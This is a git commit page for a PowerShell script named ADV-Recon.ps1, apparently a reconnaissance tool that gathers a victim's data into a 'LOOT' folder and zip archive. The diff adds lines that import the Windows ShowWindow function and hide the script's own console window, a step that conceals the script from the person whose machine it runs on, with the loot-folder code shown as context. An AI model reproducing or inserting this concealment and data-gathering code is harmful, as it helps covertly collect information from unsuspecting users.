Update ADV-Recon.ps1
This commit is contained in:
parent
0c0b029e86
commit
2f714f6772
1 changed files with 5 additions and 0 deletions
|
@ -32,6 +32,11 @@
|
|||
|
||||
############################################################################################################################################################
|
||||
|
||||
$i = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);';
|
||||
add-type -name win -member $i -namespace native;
|
||||
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);
|
||||
|
||||
|
||||
# MAKE LOOT FOLDER, FILE, and ZIP
|
||||
|
||||
$FolderName = "$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm)"
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue